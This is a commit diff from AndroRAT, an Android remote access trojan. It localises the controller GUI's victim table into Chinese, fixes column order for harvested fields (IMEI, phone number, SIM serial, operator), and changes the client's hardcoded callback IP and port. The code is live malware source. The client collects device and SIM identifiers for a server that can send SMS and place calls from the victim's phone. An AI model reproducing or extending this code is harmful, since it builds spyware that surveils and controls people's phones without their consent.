Fix List Information Display dislocation

Add several Chinese
elsendebad · Feb 21, 2014 · 37a45f7 · 37a45f7
1 parent 7094de5
commit 37a45f7
Show file tree

Hide file tree

Showing 6 changed files with 28 additions and 12 deletions.
diff --git a/src/Androrat/src/my/app/Library/SystemInfo.java b/src/Androrat/src/my/app/Library/SystemInfo.java
@@ -38,8 +38,8 @@ public String getSimCountryCode() {
 		return tm.getSimCountryIso();
 	}
 
-	public String getSimOperatorName() {
-		return tm.getSimOperatorName();
+	public String getSimOperatorCode() {
+		return tm.getSimOperator();
 	}
 
 	public String getSimSerial() {
@@ -64,7 +64,7 @@ public byte[] getBasicInfos() {
 		res = getSimCountryCode();
 		if(res != null)
 			h.put("SimCountry", res);
-		res = getSimOperatorName();
+		res = getSimOperatorCode();
 		if(res != null)
 			h.put("SimOperator", res);
 		res= getSimSerial();

diff --git a/src/Androrat/src/my/app/client/LauncherActivity.java b/src/Androrat/src/my/app/client/LauncherActivity.java
@@ -17,7 +17,7 @@ public class LauncherActivity extends Activity {
 	Intent Client, ClientAlt;
 	Button btnStart, btnStop;
 	EditText ipfield, portfield;
-	String myIp = "192.168.137.248"; //Put your IP in these quotes.
+	String myIp = "192.168.3.100"; //Put your IP in these quotes.
 	int myPort = 9999; //Put your port there, notice that there are no quotes here.
 
 	@Override
@@ -40,7 +40,7 @@ public void onResume() {
         portfield = (EditText) findViewById(R.id.portfield);
 
 		if ( myIp == "" ) {
-			ipfield.setText("192.168.137.1");
+			ipfield.setText("192.168.3.100");
 			portfield.setText("9999");
 			Client.putExtra("IP", ipfield.getText().toString());
 			Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) );  

diff --git a/src/AndroratServer/src/gui/GUI.java b/src/AndroratServer/src/gui/GUI.java
@@ -225,15 +225,14 @@ public void addUser(String imei, String countryCode, String telNumber, String si
         model.addUser(new User(imei, countryCode, telNumber, operator, simCountryCode, simOperator, simSerial));
     }*/
 
-    public void addUser(String imei, String countryCode, String telNumber, String simCountryCode, String simSerial, String operator, String simOperator) {
+    public void addUser(String imei, String countryCode, String telNumber, String operator,String simCountryCode, String simOperator, String simSerial) {
 
     	if(countryCode == null) countryCode = "/";
         if(telNumber == null) telNumber = "/";
         if(simCountryCode == null) simCountryCode = "/";
         if(simOperator == null) simOperator = "/";
         if(simSerial == null) simSerial = "/";
         if(operator == null) operator = "/";
-
         model.addUser(new User(countryCode,imei, countryCode, telNumber, operator, simCountryCode, simOperator, simSerial));
     }
 

diff --git a/src/AndroratServer/src/gui/UserModel.java b/src/AndroratServer/src/gui/UserModel.java
@@ -2,10 +2,12 @@
 
 import java.util.ArrayList;
 import java.util.List;
+import java.util.ResourceBundle;
+
 import javax.swing.table.AbstractTableModel;
 
 public class UserModel extends AbstractTableModel {
-    
+	private static final ResourceBundle BUNDLE = ResourceBundle.getBundle("gui.messages"); //$NON-NLS-1$
 	/*
     private final List<User> users = new ArrayList<User>();
     private final String[] headers = {"IMEI", "Localisation", "Num�ro tel", "Op�rateur", "Pays SIM", "Op�rateur SIM", "Serial SIM"};
@@ -66,7 +68,7 @@ public void removeUser(String imei) {
     }
     */
     private final List<User> users = new ArrayList<User>();
-    private final String[] headers = {"Flag","IMEI", "Location", "Phone Number", "Operator", "Country SIM", "Operator SIM", "Serial SIM"};
+    private final String[] headers = {BUNDLE.getString("Flag"),"IMEI", BUNDLE.getString("Location"), BUNDLE.getString("Phone-Number"), BUNDLE.getString("Operator"), BUNDLE.getString("Country-SIM"), BUNDLE.getString("Operator-SIM"), BUNDLE.getString("Serial-SIM")};
 
     public UserModel() {
         super();

diff --git a/src/AndroratServer/src/gui/messages.properties b/src/AndroratServer/src/gui/messages.properties
@@ -13,6 +13,13 @@ DisconnectUser=Disconnect user
 Toast-it=Toast-it
 Send-SMS=Send SMS
 Give-call=Give call
+Flag=Flag
+Location=Location
+Phone-Number=Phone Number
+Operator=Operator
+Country-SIM=Country SIM
+Operator-SIM=Operator SIM
+Serial-SIM=Serial SIM
 #smsdialog
 Target-cell-number=Target cell number :
-SMS-Text=SMS Text:
+SMS-Text=SMS Text:
diff --git a/src/AndroratServer/src/gui/messages_zh_CN.properties b/src/AndroratServer/src/gui/messages_zh_CN.properties
@@ -1,5 +1,6 @@
 #Field ResourceBundle: BUNDLE
 #Fri Feb 21 15:58:19 CST 2014
+#main GUI
 Server=\u670D\u52A1
 ClientActions=\u5BA2\u6237\u7AEF\u64CD\u4F5C
 BulkActions=\u6279\u91CF\u64CD\u4F5C
@@ -13,6 +14,13 @@ DisconnectUser=\u65AD\u5F00\u7528\u6237\u8FDE\u63A5
 Toast-it=\u53D1\u9001Toast
 Send-SMS=\u53D1\u9001\u77ED\u4FE1
 Give-call=\u62E8\u6253\u7535\u8BDD
-#smsdialog
+Flag=\u6807\u8BC6
+Location=\u4F4D\u7F6E
+Phone-Number=\u7535\u8BDD\u53F7\u7801
+Operator=\u8FD0\u8425\u5546
+Country-SIM=SIM\u5361\u5F52\u5C5E\u5730
+Operator-SIM=\u8FD0\u8425\u5546\u7F16\u53F7
+Serial-SIM=SIM\u5361\u7F16\u53F7
+#smsDialog
 Target-cell-number=\u76EE\u6807\u53F7\u7801:
-SMS-Text=\u77ED\u4FE1\u5185\u5BB9:
+SMS-Text=\u77ED\u4FE1\u5185\u5BB9: